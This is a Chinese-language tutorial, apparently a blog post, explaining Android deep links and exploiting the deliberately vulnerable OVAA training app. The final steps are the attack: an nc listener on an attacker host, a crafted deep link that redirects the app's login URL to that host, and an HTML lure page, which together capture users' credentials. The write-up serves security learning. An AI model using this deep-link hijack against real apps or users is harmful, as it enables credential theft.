电子说
在正式开始漏洞利用之前,我们需要先来了解一下什么是deep link。
Deep Link 是一种允许应用程序通过 URL 直接响应特定页面或功能的技术。这是通过操作系统和应用程序之间的一种约定来实现的。
Deep Link 结构:
在 Android 中,当安装一个应用程序时,该应用程序的 manifest 文件(AndroidManifest.xml)会注册到系统中。这个文件包含了该应用程序的所有组件信息,包括 activities、services、broadcast receivers 等。对于 deep linking,开发者可以在 manifest 文件中定义一个或多个 intent filters,这些 intent filters 定义了哪些 URL 可以启动哪些 activities。
当用户点击一个符合某个应用程序 intent filter 规则的 URL 时,Android 系统就会启动该应用程序的对应 activity。具体的规则是通过 intent filter 中的 data 元素来定义的,这个元素可以指定 URL 的 scheme、host、path 等信息。如果 URL 符合这些规则,那么就会启动对应的 activity。
例如,下面这个示例:
<activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="oversecured" android:host="ovaa"/>
<span class="hljs-name"intent-filter>
<span class="hljs-name"activity>
通过分析上面的示例代码,我们就可以知道,在安卓系统中任何以"oversecured://ovaa"开头的URL都会启动其所对应的oversecured.ovaa.activities.DeeplinkActivity。
总的来说,深度链接允许开发者通过 URL 直接打开应用程序的特定部分,这对于用户体验和应用程序间的交互是非常有用的。
在Android系统中,应用需要在AndroidManifest.xml文件中声明它们能处理的Deep Link。因此,我们可以通过使用jadx等反编译工具对目标APK进行反编译,在反编译后的AndroidManifest.xml文件中搜索关键字:"android:scheme"
一般搜索结果所在的data标签部分,就包括了Deep Link Url所需的必要组成部分:
转换成url就是:oversecured://ovaa
那这个时候,找到了APP可以处理的Deep Link,我们可以先来尝试一下,在安卓系统中触发访问我们找到的这个Deep Link:oversecured://ovaa。
1)在PC上使用python在本地开启一个简易的web服务器
python -m http.server
2)在本地服务器根目录放置一个html页面文件
html>
<html>
<head>
<meta charset="UTF-8">
<title>Deep Linking Test<span class="hljs-name"title>
<span class="hljs-name"head>
<body>
<h1>Deep Linking Test!<span class="hljs-name"h1>
<p><a href="oversecured://ovaa">点击这里可以打开指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
<span class="hljs-name"body>
<span class="hljs-name"html>
这个页面的主要目的就是,当在手机浏览器远程访问html页面时,点击a标签对应的超链接,就可以在安卓系统中触发对Deep Link的访问
3)在手机浏览器远程访问html页面,点击a标签对应的超链接
oversecured://ovaa
被访问时,DeeplinkActivity
将会被瞬间打开然后立即关闭,我们可能只会看到一个闪烁的屏幕,看不到具体的Activity内容。
❝通过分析DeeplinkActivity代码可以知道:直接访问
oversecured://ovaa
,Android系统将会匹配到DeeplinkActivity
并启动它,因为目标APP的AndroidManifest.xml中定义的intent-filter声明了这个Activity可以处理scheme为"oversecured"和host为"ovaa"的URI。在
DeeplinkActivity
的onCreate
方法中,它会获取到传入的Intent,检查Intent的action是否为"android.intent.action.VIEW",然后获取并处理Intent的data(即URI)。因此,当直接访问oversecured://ovaa
,这个Activity将会被启动,并且在onCreate
方法中调用processDeeplink
方法。但是,因为我们直接访问的URI没有路径(path),所以在
processDeeplink
方法中,uri.getPath()
将返回null
,所有的条件分支都不会被执行,所以不会有任何额外的操作。然后,
onCreate
方法会调用finish()
方法来结束这个Activity。所以,从咱们的用户的视角来看,oversecured://ovaa
被访问时,DeeplinkActivity
将会被瞬间打开然后立即关闭,用户可能只会看到一个闪烁的屏幕,看不到具体的Activity内容。❞
通过分析目标APP的AndroidManifest.xml,我们知道响应oversecured://ovaa的Activity是oversecured.ovaa.activities.DeeplinkActivity,因此我们可以通过反编译工具查看DeeplinkActivity相关的代码。
package oversecured.ovaa.activities;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;
/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
private static final int URI_GRANT_CODE = 1003;
private LoginUtils loginUtils;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
Uri uri;
super.onCreate(savedInstanceState);
this.loginUtils = LoginUtils.getInstance(this);
Intent intent = getIntent();
if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
processDeeplink(uri);
}
finish();
}
private void processDeeplink(Uri uri) {
String url;
String host;
if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
String path = uri.getPath();
if ("/logout".equals(path)) {
this.loginUtils.logout();
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
} else if ("/grant_uri_permissions".equals(path)) {
Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
if (getPackageManager().resolveActivity(i, 0) != null) {
startActivityForResult(i, 1003);
}
} else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
Intent i2 = new Intent(this, WebViewActivity.class);
i2.putExtra("url", url);
startActivity(i2);
}
}
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, android.app.Activity
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode == -1 && requestCode == 1003) {
setResult(resultCode, data);
}
}
}
通过分析代码,我们可以知道:
1)当用户点击一个匹配intent filter的deep link URL时,Android系统会启动对应的activity,并通过intent传递数据给这个activity,此处也就是DeeplinkActivity。当DeeplinkActivity被打开时,APP首先执行的是onCreate方法,开发者在activity的onCreate()方法中通过getIntent()获取这个intent,然后通过getData()获取URL
2)获取到URL后,APP再调用processDeeplink(uri),接着根据传入的uri进行一系列处理,主要是通过条件语句针对url中不同的path进行不同的逻辑处理,通过代码可知APP可识别处理的path是:/logout、/login、/grant_uri_permissions、/webview。
比如当我们访问的deep link url是:oversecured://ovaa/login,代码String path = uri.getPath();得到的就是/login,此时当processDeeplink被调用时就会执行以下代码:
else if ("/login".equals(path)) {
String url2 = uri.getQueryParameter("url");
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
startActivity(new Intent(this, EntranceActivity.class));
}
通过代码String url2 = uri.getQueryParameter("url");可知,APP会尝试从deep link中去获取一个名字叫做url的参数值。
比如我们访问的deep link url是:oversecured://ovaa/login?url=http://www.test.com。
如果我们访问的deeplink中有url参数,那APP取到url的值又要干嘛呢?我们继续跟踪
if (url2 != null) {
this.loginUtils.setLoginUrl(url2);
}
如果APP取到url参数的值,则将取到的url继续传给setLoginUrl处理
public void setLoginUrl(String url) {
this.editor.putString(LOGIN_URL_KEY, url).commit();
}
这段代码的含义就是调用 SharedPreferences.Editor
的 putString
方法,将键为 LOGIN_URL_KEY
的字符串值设为 url
,然后调用 commit
方法将这个改动保存到 SharedPreferences 中。这样,下次应用程序启动时,这个 URL 仍然可以被获取到。
到这里,我们就比较清晰了,获取到deep link传递过来的url后,将url的值和LOGIN_URL_KEY这个键进行了绑定。就是一个获取并保存的操作,那我们继续接着往后面的代码进行分析:
当if语句执行结束,保存好了url后,APP又启动了一个新的界面EntranceActivity
startActivity(new Intent(this, EntranceActivity.class));
我们继续最终分析EntranceActivity界面的代码
public class EntranceActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (LoginUtils.getInstance(this).isLoggedIn()) {
startActivity(new Intent("oversecured.ovaa.action.ACTIVITY_MAIN"));
} else {
startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
}
finish();
}
}
这个EntranceActivity的代码主要是判断当前是否已登录或者未登录,那我们这里继续追踪未登录的代码进行分析,也就是else代码块中的调用:
startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
在AndroidManifiest.xml文件中搜索“oversecured.ovaa.action.LOGIN”,可以看到对应的是oversecured.ovaa.activities.LoginActivity
image-20230519013229270
继续分析LoginActivity中处理登录的关键函数processLogin:
public void processLogin(String email, String password) {
LoginData loginData = new LoginData(email, password);
Log.d("ovaa", "Processing " + loginData);
LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
@Override // retrofit2.Callback
public void onResponse(Call<Void> call, Response<Void> response) {
}
@Override // retrofit2.Callback
public void onFailure(Call<Void> call, Throwable t) {
}
});
this.loginUtils.saveCredentials(loginData);
onLoginFinished();
}
这段代码的主要作用就是处理用户的登录,是使用 Retrofit 库来与服务器进行通信。
loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback
这段代码主要就是调用 loginService
的 login
方法,传入登录 URL 和登录数据,登录url是从getLoginUrl函数获取,而这个函数最终拿到的登录url就是前面从deeplink中获取到的url。
public String getLoginUrl() {
String url = this.preferences.getString(LOGIN_URL_KEY, null);
if (TextUtils.isEmpty(url)) {
String url2 = this.context.getString(R.string.login_url);
this.editor.putString(LOGIN_URL_KEY, url2).commit();
return url2;
}
return url;
}
那分析到这里,我们就可以知道,APP在处理oversecured://ovaa/login?url=http://www.test.com 这个deep link的时候,会将url的值作为登录url,然后将用户输入的账号和密码作为参数发起请求进行提交,但是此处的url是攻击者可控的,从而就导致了可窃取用户的登录凭证。
1)攻击者服务器监听端口,用于接收窃取到的账号密码。
nc -lnvp 8889
2)根据分析,构造恶意的deep link
oversecured://ovaa/login?url=http://192.168.10.11:8889
3)攻击者web服务器放置一个html页面,用于诱导用户点击执行deeplink
html>
<html>
<head>
<meta charset="UTF-8">
<title>Deep Linking Test<span class="hljs-name"title>
<span class="hljs-name"head>
<body>
<h1>Deep Linking Test!<span class="hljs-name"h1>
<p><a href="oversecured://ovaa/login?url=http://192.168.10.11:8889">点击这里可以打开指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
<span class="hljs-name"body>
<span class="hljs-name"html>
4)最终窃取账号密码的效果
全部0条评论
快来发表一下你的评论吧 !